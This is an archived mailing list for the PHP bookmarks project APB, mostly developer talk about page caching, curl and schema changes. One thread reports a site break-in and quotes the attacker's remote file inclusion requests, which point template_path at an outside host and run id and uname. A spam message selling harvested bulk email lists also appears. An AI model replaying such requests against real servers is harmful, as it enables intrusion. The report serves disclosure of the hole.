You can subscribe to this list here.
2001 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(1) |
Oct
|
Nov
|
Dec
|
---|---|---|---|---|---|---|---|---|---|---|---|---|
2002 |
Jan
|
Feb
(2) |
Mar
(12) |
Apr
(1) |
May
(1) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2003 |
Jan
(3) |
Feb
|
Mar
(4) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: Phillip S. <ph...@3b...> - 2003-03-24 19:06:08
|
Is there a patch for this yet? p. > -----Original Message----- > From: apb...@li... > [mailto:apb...@li...] On > Behalf Of Stefan May > Sent: March 9, 2003 2:43 PM > To: apb...@li... > Subject: [Apb-development] Security Bug > > > Hi all, > > I'm not subscribed to this list, so reply with Cc to me. > > Last night my site was hacked using PHP bookmarks. I like > this program very much, but this time I hated it. > > The "bug" is in /bookmarks/templates/head.php, you can set > the include path through normal http requests. The following > requests were made: > > GET > /bookmarks/templates/head.php?APB_SETTINGS%5Btemplate_path%5D= http://www.madsk8er.hpg.com.br/&cmd=id HTTP/1.1 GET /bookmarks/templates/head.php?APB_SETTINGS%5Btemplate_path%5D=http://www .madsk8er.hpg.com.br/&cmd=uname%20-a HTTP/1.1 and some more. For now I limited access to the template path. I'm not sure if I should use Safe Mode for PHP. Is this the better way? cu, Stefan. ------------------------------------------------------- This SF.net email is sponsored by: Etnus, makers of TotalView, The debugger for complex code. Debugging C/C++ programs can leave you feeling lost and disoriented. TotalView can help you find your way. Available on major UNIX and Linux platforms. Try it free. www.etnus.com _______________________________________________ Apb-development mailing list Apb...@li... https://lists.sourceforge.net/lists/listinfo/apb-development |
From: L. B. S. <st...@lb...> - 2003-03-09 23:00:35
|
Hey Stefan, Thank you for pointing this out. This is the first we've heard of this vulnerability. I'll put a warning on the APB website and I'll release a patch as soon as I can. Thanks, Brandon -- L. Brandon Stone st...@lb... http://www.lbstone.com/ > -----Original Message----- > From: apb...@li... [mailto:apb-development- > ad...@li...] On Behalf Of Stefan May > Sent: Sunday, March 09, 2003 12:43 PM > To: apb...@li... > Subject: [Apb-development] Security Bug > > Hi all, > > I'm not subscribed to this list, so reply with Cc to me. > > Last night my site was hacked using PHP bookmarks. I like this > program very much, but this time I hated it. > > The "bug" is in /bookmarks/templates/head.php, you can set the > include path through normal http requests. The following requests > were made: > > GET > /bookmarks/templates/head.php?APB_SETTINGS%5Btemplate_path%5D=http://www .m > adsk8er.hpg.com.br/&cmd=id HTTP/1.1 > GET > /bookmarks/templates/head.php?APB_SETTINGS%5Btemplate_path%5D=http://www .m > adsk8er.hpg.com.br/&cmd=uname%20-a HTTP/1.1 > > and some more. For now I limited access to the template path. > I'm not sure if I should use Safe Mode for PHP. Is this the better way? > > cu, Stefan. > > |
From: Stefan M. <sm...@4f...> - 2003-03-09 19:44:43
|
Hi all, I'm not subscribed to this list, so reply with Cc to me. Last night my site was hacked using PHP bookmarks. I like this program very much, but this time I hated it. The "bug" is in /bookmarks/templates/head.php, you can set the include path through normal http requests. The following requests were made: GET /bookmarks/templates/head.php?APB_SETTINGS%5Btemplate_path%5D=http://www.madsk8er.hpg.com.br/&cmd=id HTTP/1.1 GET /bookmarks/templates/head.php?APB_SETTINGS%5Btemplate_path%5D=http://www.madsk8er.hpg.com.br/&cmd=uname%20-a HTTP/1.1 and some more. For now I limited access to the template path. I'm not sure if I should use Safe Mode for PHP. Is this the better way? cu, Stefan. |
From: Alain N. <na...@pe...> - 2003-03-08 07:03:18
|
Hello, I had a perfectly working APB until an hour ago, when I updated to php 4.3.1. I get the following error message: ------------- Warning: main(/bookmarks/apb_common.php) [function.main]: failed to create stream: No such file or directory in /usr/local/httpd/htdocs/bookmarks/apb.php on line 63 Warning: main() [function.main]: Failed opening '/bookmarks/apb_common.php' for inclusion (include_path='.:/usr/local/lib/php') in /usr/local/httpd/htdocs/bookmarks/apb.php on line 63 Fatal error: Call to undefined function: get_number_of_bookmarks() in /usr/local/httpd/htdocs/bookmarks/index.php on line 25 -------------- I can't figure out what the problem is. Any idea? Otherwise, cool piece of software! Alain |
From: <phi...@w3...> - 2003-01-20 07:55:32
|
I've found a software that import PHP Bookmarks http://freshmeat.net/projects/moz2web-tools/?topic_id=91%2C92%2C914%2C868%2C 861 It's released under GNU GPL Philippe PS: Great Work Nathanial Hendler a �crit: > > --- Philippe SOHM <phi...@w3...> wrote: >> >> Hello, >> >> I'd like to know if apb 2.0 will import / export bookmarks in the >> mozilla format >> >> Philippe > > Absolutely. We're going to support the Mozilla/Netscape format, IE and Xbel. > > Nathan > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com > > > ------------------------------------------------------- > This SF.NET email is sponsored by: FREE SSL Guide from Thawte > are you planning your Web Server Security? Click here to get a FREE > Thawte SSL guide and find the answers to all your SSL security issues. > http://ads.sourceforge.net/cgi-bin/redirect.pl?thaw0026en > _______________________________________________ > Apb-development mailing list > Apb...@li... > https://lists.sourceforge.net/lists/listinfo/apb-development |
From: Nathanial H. <eq...@ya...> - 2003-01-20 00:20:48
|
--- Philippe SOHM <phi...@w3...> wrote: > > Hello, > > I'd like to know if apb 2.0 will import / export bookmarks in the > mozilla format > > Philippe Absolutely. We're going to support the Mozilla/Netscape format, IE and Xbel. Nathan __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com |
From: Philippe S. <phi...@w3...> - 2003-01-19 21:09:34
|
Hello, I'd like to know if apb 2.0 will import / export bookmarks in the mozilla format Philippe |
From: Ted H. <ted...@da...> - 2002-05-04 12:58:38
|
<!-- saved from url=(0022)http://internet.e-mail --> <!-- saved from url=(0022)http://internet.e-mail --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>DISCLAIMER</title> </head> <body bgcolor="#005921"> <div align="center"> <center> <table border="0" cellpadding="0" cellspacing="0" width="600"> <tr> <td><a href="#DISCLAIMER"><font color="#ff0000" size="2" face="Verdana">DISCLAIMER</font></a></td> </tr> </table> </center> </div> <div align="center"> <center> <table border="4" cellpadding="0" cellspacing="0" width="600" bordercolorlight="#00FF00" bordercolordark="#00FF00"> <tr> <td> <p align="center"><br></p> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="543"> <tr> <td bgcolor="#00FF00"> <p align="center"><b><font face="Verdana" size="6" color="#005921">The Freshest Bulk Email Lists<br> at Deep Discount Prices</font></b></td> </tr> <tr> <td bgcolor="#FFFFFF"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="525"> <tr> <td><font face="Verdana" size="4"><b><i><font color="#005921">Datasurplus</font></i> is the best source for bulk email lists. </b></font> <p><font face="Verdana" size="4"><b>All lists are harvested within the last 3 weeks.</b></font></p> <p><font face="Verdana" size="4"><b>All lists are filtered for undesirable addresses such as "administrator", "info", and other unfavorable addresses.</b></font></p> <p><font face="Verdana" size="4"><b>All lists contain ".com", ".net", and ".org" addresses only.</b></font></p> <p> </td> </tr> </table> </div> </td> </tr> <tr> <td bgcolor="#00FF00"> <p align="center"><font face="Verdana" size="4" color="#005921"><b><a href="http://www.datasurplus.com/redirect.htm">CLICK HERE TO ORDER NOW</a></b></font></td> </tr> <tr> <td bgcolor="#FFFFFF"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="525"> <tr> <td><br> <table border=0 cellpadding=12 cellspacing=0 align="center"><tr><td align=right bgcolor=#005921><font face=Verdana color=#00FF00><b>25,000 email addresses</b></font></td><td bgcolor=#00FF00 align=left><font face=Verdana color=#005921><b>$9.95</b></font></td></tr><tr><td align=right bgcolor=#00FF00><font face=Verdana color=#005921><b>50,000 email addresses</b></font></td><td bgcolor=#005921 align=left><font face=Verdana color=#00FF00><b>$14.95</b></font></td></tr><tr><td align=right bgcolor=#005921><font face=Verdana color=#00FF00><b>100,000 email addresses</b></font></td><td bgcolor=#00FF00 align=left><font face=Verdana color=#005921><b>$24.95</b></font></td></tr><tr><td align=right bgcolor=#00FF00><font face=Verdana color=#005921><b>250,000 email addresses</b></font></td><td bgcolor=#005921 align=left><font face=Verdana color=#00FF00><b>$39.95</b></font></td></tr><tr><td align=right bgcolor=#005921><font face=Verdana color=#00FF00><b>500,000 email addresses</b></font></td><td bgcolor=#00FF00 align=left><font face=Verdana color=#005921><b>$54.95</b></font></td></tr><tr><td align=right bgcolor=#00FF00><font face=Verdana color=#005921><b>1,000,000 email addresses</b></font></td><td bgcolor=#005921 align=left><font face=Verdana color=#00FF00><b>$69.95</b></font></td></tr></table> <p align="center"> <br> </p> </td> </tr> </table><tr> <td bgcolor="#00FF00"> <p align="center"><font face="Verdana" size="4" color="#005921"><b><a href="http://www.datasurplus.com/redirect.htm">CLICK HERE TO ORDER NOW</a></b></font></td> </tr> <p><br> </div> </td> </tr> </table> </div> <p> </td> </tr> </table> </center> </div> <div align="center"> <center> <table border="0" cellpadding="0" cellspacing="0" width="600"> <tr> <td><font face="Verdana" color="#ff0000" size="2"><a name="DISCLAIMER">DISCLAIMER</a>: DO NOT REPLY TO THIS EMAIL. Please </font> <a href="http://www.datasurplus.com/optout.htm"><font face="Verdana" color="#ff0000" size="2">click here to opt-out of future mailings</font></a><font face="Verdana" color="#ff0000" size="2">. You will be taken off our list at once. We apologize for any inconvenience.</font></td> </tr> </table> </center> </div> </body> </html> |
From: Darron F. <da...@fr...> - 2002-04-15 16:23:47
|
Follow these steps: 1. Go here: http://www.google.com/apis/ - create a Google account and get a licence key. 2. Download this file and untar: <http://staff.javelindigital.com/darron/patches/apb/pear.tgz> It contains several foundational classes for PEAR - which has the SOAP client you need to get this all working. It should untar into an "includes" directory - move that into your /bookmarks/ subdirectory. 3. Add this to apb.php: // Set this if you want to use Google API search. // // You will need a Google license key - see this site: // http://www.google.com/apis/ // $APB_SETTINGS['google_key'] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; NOTE: Put your google key in the space provided. 4. Patch search.php with this patch: <http://staff.javelindigital.com/darron/patches/apb/google-04152002.txt.gz> As long as your php include path includes /bookmarks/includes/ you should be rockin. It works just fine here: <http://bookmarks.javelindigital.com/bookmarks/> |
From: Nathanial H. <eq...@ya...> - 2002-03-26 18:31:08
|
Sorry for the delay. Source Forge held up your message due to its size. It's not a bug. On the APB homepage, it shows the most used bookmarks within that top level group, including bookmarks in subgroups. On inner pages (view_group pages) it shows the most used within that group only. Also, the time frame that each looks at is different. I think the apb homepage ranks bookmarks by use in the last several weeks (shorter time frame) and inner pages rank bookmarks based on their use durring a longer time frame (month or more or all time. I don't remember) Nathan __________________________________________________ Do You Yahoo!? Yahoo! Movies - coverage of the 74th Academy Awards® http://movies.yahoo.com/ |
From: Darron F. <da...@fr...> - 2002-03-15 17:31:47
|
On the home page, my most popular blogs are showing up like this: |
From: Darron F. <da...@fr...> - 2002-03-15 17:10:09
|
On Thursday, March 14, 2002, at 07:17 PM, Nathanial Hendler wrote: > We have plans to do 1.2.00 which will include group delete, and maybe a > few other advanced editing > tools. It will also have a bookmark import and export. How are you guys doing bookmark import and export? Is there some sort of modular system where somebody can write a plugin for a specific browser on a specific platform? That plugin would define the syntax for that particular browser. I'd like to help out with this if I could - because I'd love to be able to export bookmark lists to the various browsers I have running on various machines. How are you guys planning on weighting the bookmarks? Will the most popular sites go into your toolbar, grouped into folders? > 1.2.00 will be our last release (not > including any bux fixes) before 2.0.00 which is the version that will > include both your caching > and popup code. Cool. What else will 2.0.00 include? Multi-user? Any other ideas? I'd also like to request another slight change to the DB schema slightly. I'm toying with the idea of adding the ability to pull in RSS/RDF feeds from sites. I think that all it needs at this point is a single varchar in the apb_bookmarks table: ALTER TABLE `apb`.`apb_bookmarks` ADD `bookmark_rss_feed` VARCHAR(255) AFTER `bookmark_url`; I haven't figured out how I want to display them yet - but it may be something like this: 1. You can add the feed when you're adding or editing a bookmark. That will probably have to be done manually - I don't see a way to do it automagically with a bookmarklet yet. 2. Those feeds will all appear on a single page that aggregates them all together. /view_feeds.php or something like that. 3. Those feeds will be pulled down and either placed in a DB or written to /tmp for a caching mechanism. We should be able to set a caching time as a preference so that feeds aren't being grabbed every time the page is being reloaded. That way, I could collect some of my favorite sites and see their content on a single page. I haven't started working on it yet, I've just been thinking about it for a little while and exactly how I want to do it. > If you can do the diff, I'd like to have it, just in case I decide to > start working on 2.0.00 late > one night. But, if you're busy, and don't really feel like doing it > until a later date, that's > cool too. > > I don't know if I mentioned this already, but I've decided to just > stick with the curl stuff that > you guys did, and if the user doesn't have curl, none of the cacheing > tools will be available to > them. Fair enough - I've added a a conditional display of the caching row when you create a bookmark - no curl and it doesn't show. > I hope this delay to merge your code isn't taxing your patience. We > definitely plan to use it. No problem. I'll keep merging it locally until it's ready to be included. That way, I can make little tweaks and fixes along the way. -- darron froese new media technologist sutton javelin corporate communications t 403.716.0351 f 403.265.7662 e da...@ja... |
From: Nathanial H. <eq...@ya...> - 2002-03-15 02:21:34
|
--- Nathanial Hendler <eq...@ya...> wrote: > I had merged your cacheing stuff with 1.1.00. Uh, just in case that was confusing. I didn't merge it with the released 1.1.00, just on the dev site. Nathan __________________________________________________ Do You Yahoo!? Yahoo! Sports - live college hoops coverage http://sports.yahoo.com/ |
From: Nathanial H. <eq...@ya...> - 2002-03-15 02:17:26
|
--- Darron Froese <da...@fr...> wrote: > I've merged them with my current working installation of APB - should I > send over a new diff or are we going to wait a few more releases? I'm not sure. I'm not going to get to work on it for another week at least. I had merged your cacheing stuff with 1.1.00. We have plans to do 1.2.00 which will include group delete, and maybe a few other advanced editing tools. It will also have a bookmark import and export. 1.2.00 will be our last release (not including any bux fixes) before 2.0.00 which is the version that will include both your caching and popup code. If you can do the diff, I'd like to have it, just in case I decide to start working on 2.0.00 late one night. But, if you're busy, and don't really feel like doing it until a later date, that's cool too. I don't know if I mentioned this already, but I've decided to just stick with the curl stuff that you guys did, and if the user doesn't have curl, none of the cacheing tools will be available to them. I hope this delay to merge your code isn't taxing your patience. We definitely plan to use it. Nathan __________________________________________________ Do You Yahoo!? Yahoo! Sports - live college hoops coverage http://sports.yahoo.com/ |
From: Darron F. <da...@fr...> - 2002-03-15 01:36:19
|
I've merged them with my current working installation of APB - should I send over a new diff or are we going to wait a few more releases? -- darron da...@fr... |
From: Darron F. <da...@ja...> - 2002-03-05 03:27:29
|
I didn't use search very much so I didn't realize that I had forgotten something on that page. Namely, it didn't indicate (and give a link) to the cached version of that page - here's a patch to search.php that rectifies that situation: http://staff.javelindigital.com/darron/patches/apb/search-03042002.diff.gz |
From: Darron F. <da...@fr...> - 2002-03-03 02:44:47
|
> I don't mind supporting curl, if you think it's better. It doesn't look like it takes much work > to support it, and if it's better, that's great. It seems so easy that I wish I didn't have to go > write a bunch of fsockopen code now to support non-curl people. It's been really easy to work with so far - and seems to just work - while fopen stuff has been somewhat problematic for me and Tim in the past. > BTW, we're going to want to provide link checking that sends HEAD requests, I assume curl can do > HEAD requests. If you're talking about just getting the headers and not receiving any body then yes. You can set the option: CURLOPT_NOBODY We're doing this in a couple places to get some header information about things. Take a look in apb_common.php in the apb_cache_page function. All the curl options are detailed here: http://www.php.net/manual/en/function.curl-setopt.php > When you re-check a cached page, do you check to see if the orinal sources have > ben modified? Or do you just grab them no matter what? Which is the right way to do it? Right now the recaching code just: 1. Removes the old cached files. 2. Grabs the current page and recaches. We thought about doing an md5 on the text returned and store that as a checksum - then we could check against that to see if the page had changed but decided against it - I can't remember why. Many pages would change with the changing of ads and a single character change would make the md5sums not mach. It would be almost impossible to detect without almost always saying: "It's a changed page." We could probably add a quick check at the top of the recache.php page that: 1. Computes an md5 hash of the current text of the page. 2. Checks it against the page at the time of recaching. 3. If it's different, it goes on with the recaching process. 4. If it's not different, it doesn't recache and just ends there. We could use: http://www.php.net/manual/en/function.md5.php I tried this just now and am seeming to get inconsistent results - maybe it's my code. Here's the code I added to recache.php: print "<p>Please wait a moment...</p>\n"; // New stuff starts here. // Check to see if it's different. $query = "SELECT * from apb_cache WHERE cache_id = '$cache_id'"; $result = mysql_db_query($APB_SETTINGS['apb_database'], $query); $row = mysql_fetch_assoc($result); $cache_md5 = md5($row['cache_code']); $current_md5 = md5($current_page = getFile($row['cache_url'])); print "<b>Cache MD5:</b> $cache_md5<br>\n"; print "<p><b>Cached Page</b></p><pre>" . htmlentities($row['cache_code']) . "</pre>"; print "<b>Current MD5:</b> $current_md5<br>\n"; print "<p><b>Current Page</b></p><pre>" . htmlentities($current_page) . "</pre>"; if ($cache_md5 != $current_md5) { // Do all of the recaching here. print "<p>Looks like they're different - recaching.</p>"; } else { die("The pages are the same - no need to recache."); } // New stuff ends here. removeCacheData($cache_id); The md5's are different on even very simple pages that I know haven't changed between caching because I wrote the pages myself and because I did the recaching about 20 seconds after the first one. And the pages don't appear to be different at a glance. So, that idea seems to be out - maybe we can do something with strcmp or something. Got any other ideas? Is it even worth it? |
From: Nathanial H. <eq...@ya...> - 2002-03-02 23:44:14
|
--- Darron Froese <da...@fr...> wrote: > I just did a quick test and if we do this - we can have our cake and eat it > too: ... > > That way we can use cURL which is: > > 1. More robust. > 2. Faster. > 3. Just plain better. > > And yet still provide for older installs without cURL. Good, that's the direction I was thinking last night after I sent my email. I don't mind supporting curl, if you think it's better. It doesn't look like it takes much work to support it, and if it's better, that's great. It seems so easy that I wish I didn't have to go write a bunch of fsockopen code now to support non-curl people. BTW, we're going to want to provide link checking that sends HEAD requests, I assume curl can do HEAD requests. When you re-check a cached page, do you check to see if the orinal sources have ben modified? Or do you just grab them no matter what? Which is the right way to do it? I think your database changes are good, in fact I was very happy with them. Nathan http://retards.org/ __________________________________________________ Do You Yahoo!? Yahoo! Sports - sign up for Fantasy Baseball http://sports.yahoo.com |
From: Darron F. <da...@fr...> - 2002-03-02 19:42:10
|
> Your call - we could leave the current code in and if curl isn't available, > it just uses the regular fopen wrappers to grab the files - that shouldn't > be too hard. I just did a quick test and if we do this - we can have our cake and eat it too: function getFile($url, $headers=0) { // If cURL exists - use these. if (function_exists(curl_init)){ $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_HEADER, $headers); curl_setopt ($ch, CURLOPT_NOBODY, $headers); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC)'); curl_setopt ($ch, CURLOPT_REFERER, ''); $result = curl_exec ($ch); curl_close ($ch); } else { // If cURL doesn't exist, use the fopen wrappers. } That way we can use cURL which is: 1. More robust. 2. Faster. 3. Just plain better. And yet still provide for older installs without cURL. Thoughts? |
From: Darron F. <da...@fr...> - 2002-03-02 17:58:07
|
Nathan, I'm pretty sure that Tim chose curl for a couple reasons: 1. We've been using it for a while to do other handy things with PHP and haven't had many problems with it. We've been using it without problems since about PHP 4.0.6 - 4.0.4pl1 and curl works OK but there are some small bugs. 2. I'm pretty sure that he tried using the fopen wrappers and couldn't get them to work properly for some reason. Regardless, it should be pretty easy to use the fopen wrappers if curl isn't available - all that needs to be changed is the getFile function. There are people who are talking about bundling curl with PHP on the php-dev list - so in the future, this may not be an issue: http://www.zend.com/lists/php-dev/200201/msg03022.html And because of PHP's large security bugs, everyone's *strongly* encouraged to upgrade to 4.1.2 ASAP anyways - which doesn't give them a working curl automatically, but it's a start. Your call - we could leave the current code in and if curl isn't available, it just uses the regular fopen wrappers to grab the files - that shouldn't be too hard. I've signed up to the development list - Tim may take a little while longer to sign up - last I heard from him, his wife was going into labor. ;-) ----- Original Message ----- From: "Nathanial Hendler" <eq...@ya...> To: "Darron Froese" <da...@fr...>; <apb...@li...> Cc: <st...@lb...>; <ti...@ja...> Sent: Friday, March 01, 2002 9:46 PM Subject: Re: Apb caching patches... > First, are you and tim on the apb-development mailing list > (http://lists.sourceforge.net/lists/listinfo/apb-deve lopment)? I don't want to be bombarding you > with doubles of each email I send, but I'd like this kind of stuff to be on the list. > > I got the new scheme and patches you posted setup at http://labs.retards.org/apb2 It doesn't work > yet, since I don't have php compiled with curl support. I did take the first step and install the > curl libraries though. I'd like to know why you used curl, and not normal php functions. I'm not > crazy about having dependencies, and I'm less crazy about dependencies that require a recompile of > PHP. I also read that curl doesn't like PHP earlier than 4.1.0. Another thing that makes me > uneasy about using it. It seems like we can provide the functionality you've come up with, > without using something that will make apb harder to install. Maybe I'm wrong, that's why I'm > asking. I'm not sure why you choose curl. > > Anyway, a quick reply about that would be really useful. > > Thanks, > Nathan > http://retards.org/ |
From: Nathanial H. <eq...@ya...> - 2002-03-02 05:46:20
|
First, are you and tim on the apb-development mailing list (http://lists.sourceforge.net/lists/listinfo/apb-development)? I don't want to be bombarding you with doubles of each email I send, but I'd like this kind of stuff to be on the list. I got the new scheme and patches you posted setup at http://labs.retards.org/apb2 It doesn't work yet, since I don't have php compiled with curl support. I did take the first step and install the curl libraries though. I'd like to know why you used curl, and not normal php functions. I'm not crazy about having dependencies, and I'm less crazy about dependencies that require a recompile of PHP. I also read that curl doesn't like PHP earlier than 4.1.0. Another thing that makes me uneasy about using it. It seems like we can provide the functionality you've come up with, without using something that will make apb harder to install. Maybe I'm wrong, that's why I'm asking. I'm not sure why you choose curl. Anyway, a quick reply about that would be really useful. Thanks, Nathan http://retards.org/ __________________________________________________ Do You Yahoo!? Yahoo! Sports - sign up for Fantasy Baseball http://sports.yahoo.com |
From: Darron F. <da...@fr...> - 2002-02-13 20:56:57
|
I snipped a bit for readability and will try to answer the questions raised. > > > 2. Page caching - so that a local copy of page on the other side of the > > > bookmark can be sucked down and put into the database for safe-keeping. > > > (It's still a little buggy right now but we've got the basics down pat.) > > Wow, you don't know how happy I am to see this. I've bee wanting to get around to this feature > forever. I'm pretty happy with your implementation. Mainly I've only ever been concerned with > getting the text of a single page with this feature (for archiving faqs, technical info, etc), so > making sure images and links work isn't a _big_ concern, but obviously most people are going to > want those things to work as well. The feature has the potential to open a large can of worms... > Do we get/store images? Do we cache on a regular schedule? Do we maintain a cached page version > history? Do we do any recursive digging? All images are downloaded and put into the database - if the same image is used multiple times on a page, only one instance of that graphic is put into the database. It's a one time download - no scheduled update - we saw it as a way to freeze that page in time to make sure you could always get to that content. We had talked about a cached page version history - keep multiple versions of those pages around but hadn't really done anything about it yet. At this time, there isn't a recursive download either - it's just that page and any directly linked images and stylesheets - basically anything with a src="" tag. One thing I forgot to add is that it uses the curl functions in PHP which depend on the curl library being present. You can grab it here: http://curl.haxx.se/ > But mainly, what you've done so far, I'd be happy with as a user. I think a table at the top of > the cached page (a la Google's cache) clearly stating that it's cached, the cache date, and > explaining that the links may not work is needed. That is coming - clearly stating that this is a cached page and that the original is at this url. If you've ever used IE 5 on a Mac you'll notice the similarities to the Scrapbook feature - I've always wanted a network/browser independant version of that. > > > We have some other ideas as well (move to using Pear DB for database > > > abstraction, complete the multiuser portions, export to browser bookmarks, > > > etc.) - but those will come later - we just got slammed with a huge > > project > > > that will take up a huge portion of the next month. > > I don't know what Pear DB is. I need to look into that I guess. We're kind of MySQL-centric. PEAR is basically a bunch of code libraries that are distributed with PHP - it's a way to write DB code without making it MySQL centric. Here's an example PEAR::DB query: $sql = "SELECT something FROM somewhere WHERE table = '1'"; $result = $db->query( $sql ); while ($row = $result->fetchRow()) { // loop through every row returned and do something } With this code - you define your master $db object in a central include file and can change database types by changing a single variable - it's pretty sweet. We're pretty MySQL centric here as well but as long as you're using pretty standard SQL it should work with any PEAR supported DB - Postgres, Oracle, Sybase, MySQL, etc. > I want to see the caching. Mainly I'd like to see the UI for the authenticated apb user; how they > cache a page, etc. Right now, all you have to do to cache a page is flip a radio button when you're editing or adding a bookmark and it will download it all and insert it into the DB. > I think I can safely say that we're interested in adopting both changes, but there are two issues. > The first is mainly UI, and Brandon's in charge of that. The second is how to integrate your > changes into our dev tree. I don't have a lot of experience at collaborative-internet-GPL > programming. Maybe we need to start thinking about CVS/arc/subversion. For now we can just > brute-force it with diff. If you have any thoughts about that, let me know. I'll post the first simple change when I get a chance tonight and after we've merged our changes with your new version of apb and fixed a couple small bugs I'll send over a diff - they shouldn't be too hard to isolate. If you guys want to put up a CVS repository somewhere we're pretty comfortable with that. Do you have one already? |
From: Nathanial H. <eq...@ya...> - 2002-02-13 19:41:06
|
> ----- Original Message ----- > From: "Darron Froese" <da...@fr...> > To: <st...@lb...> > Cc: <ti...@ja...> > Sent: Tuesday, February 12, 2002 10:03 PM > Subject: some new apb features... Darron and Tim, Brandon forwarded your comments about APB to me. A quick introduction, my name is Nathan, and I've been working on the APB project for a while... > > Hey, > > > > Love apb - I've been using it for a week or so now and love it. Have been > > thinking about doing something like this for months but just haven't got > > around to it - so I figured we'd hitch a ride - me and another guy at work > > (he coded it) added a couple of new features to apb: > > > > 1. A cookie based "popout external links" button so that all links that go > > through /bookmarks/redirect.php can pop out into a new page if you desire. Having bookmarks open in a new window is a feature that several people have asked for. I don't think Brandon and have discussed it much though. > > 2. Page caching - so that a local copy of page on the other side of the > > bookmark can be sucked down and put into the database for safe-keeping. > > (It's still a little buggy right now but we've got the basics down pat.) Wow, you don't know how happy I am to see this. I've bee wanting to get around to this feature forever. I'm pretty happy with your implementation. Mainly I've only ever been concerned with getting the text of a single page with this feature (for archiving faqs, technical info, etc), so making sure images and links work isn't a _big_ concern, but obviously most people are going to want those things to work as well. The feature has the potential to open a large can of worms... Do we get/store images? Do we cache on a regular schedule? Do we maintain a cached page version history? Do we do any recursive digging? But mainly, what you've done so far, I'd be happy with as a user. I think a table at the top of the cached page (a la Google's cache) clearly stating that it's cached, the cache date, and explaining that the links may not work is needed. > > We have some other ideas as well (move to using Pear DB for database > > abstraction, complete the multiuser portions, export to browser bookmarks, > > etc.) - but those will come later - we just got slammed with a huge > project > > that will take up a huge portion of the next month. I don't know what Pear DB is. I need to look into that I guess. We're kind of MySQL-centric. Multiuser support isn't too far off. It is something we will be working on heavily in the next month. I'm going to be working on browser bookmark -> apb importing, but apb export may be trivial once I do that. If you want to work on it though, it would be helpful, we should just coordinate it. > > Are you guys interested in adopting these changes (1 is ready now and is > > very simple, 2 needs to be tweaked a little and some UI issues need to be > > worked out) into the main apb distribution? I want to see the caching. Mainly I'd like to see the UI for the authenticated apb user; how they cache a page, etc. I think I can safely say that we're interested in adopting both changes, but there are two issues. The first is mainly UI, and Brandon's in charge of that. The second is how to integrate your changes into our dev tree. I don't have a lot of experience at collaborative-internet-GPL programming. Maybe we need to start thinking about CVS/arc/subversion. For now we can just brute-force it with diff. If you have any thoughts about that, let me know. So, the short of it is, we're very open to source contributors, we just may not be good at it yet. What you've done so far is very promising and exciting to see. Nathanial Hendler Tucson AZ, USA http://retards.org/ __________________________________________________ Do You Yahoo!? Send FREE Valentine eCards with Yahoo! Greetings! http://greetings.yahoo.com |
From: Nathanial H. <eq...@ya...> - 2001-09-04 16:53:14
|
Evandro, That's fixed in the new tarball 0.6.01 which can be found on the homepage of http://retards.org. Although, 0.6.01 is still very much beta as the lead developer hasn't had a chance to go over it yet. If you don't want to use 0.6.01, you can use the following SQL to create bm_hits in your apb database... CREATE TABLE bm_hits ( bookmark_id int(10) unsigned NOT NULL default '0', user_id int(10) unsigned NOT NULL default '0', hit_time datetime NOT NULL default '0000-00-00 00:00:00', ip char(15) NOT NULL default '', KEY bookmark_id(bookmark_id), KEY user_id(user_id), KEY hit_time(hit_time) ); You may want to wait, as the stable version of Active PHP Bookmarks should be coming out by the end of next weekend. Please let us know if you run into any other problems. Nathanial Hendler APB Developer http://retards.org/ --- "L. Brandon Stone" <st...@lb...> wrote: > And here's some other info that we might need to consider... > > -- > L. Brandon Stone > st...@lb... > http://www.lbstone.com/ > > ----- Original Message ----- > From: "Evandro Luis Dalben" <da...@cp...> > To: <st...@lb...> > Sent: Monday, September 03, 2001 9:23 AM > Subject: bug on > > > Hi , L. Brandon Stone > > > I liked that your Active PHP Bookmarks , but you forgot CREATE TABLE bm_hits > on the sql_table_structures.txt .... > > > please can you help ??? I test the script, it is very good > > > http://orion.cpa.unicamp.br/ebook/index.php > > I create table bm_hits : > > bookmark_id user_id hit_time ip > > > 1 0 2001-09-03 12:56:34 143.106.4.254 > > > > > but doesn´t work very well .... > > please send-me the CREATE TABLE bm_hits > > > > thanks > > Evandro Dalben > > __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger http://im.yahoo.com |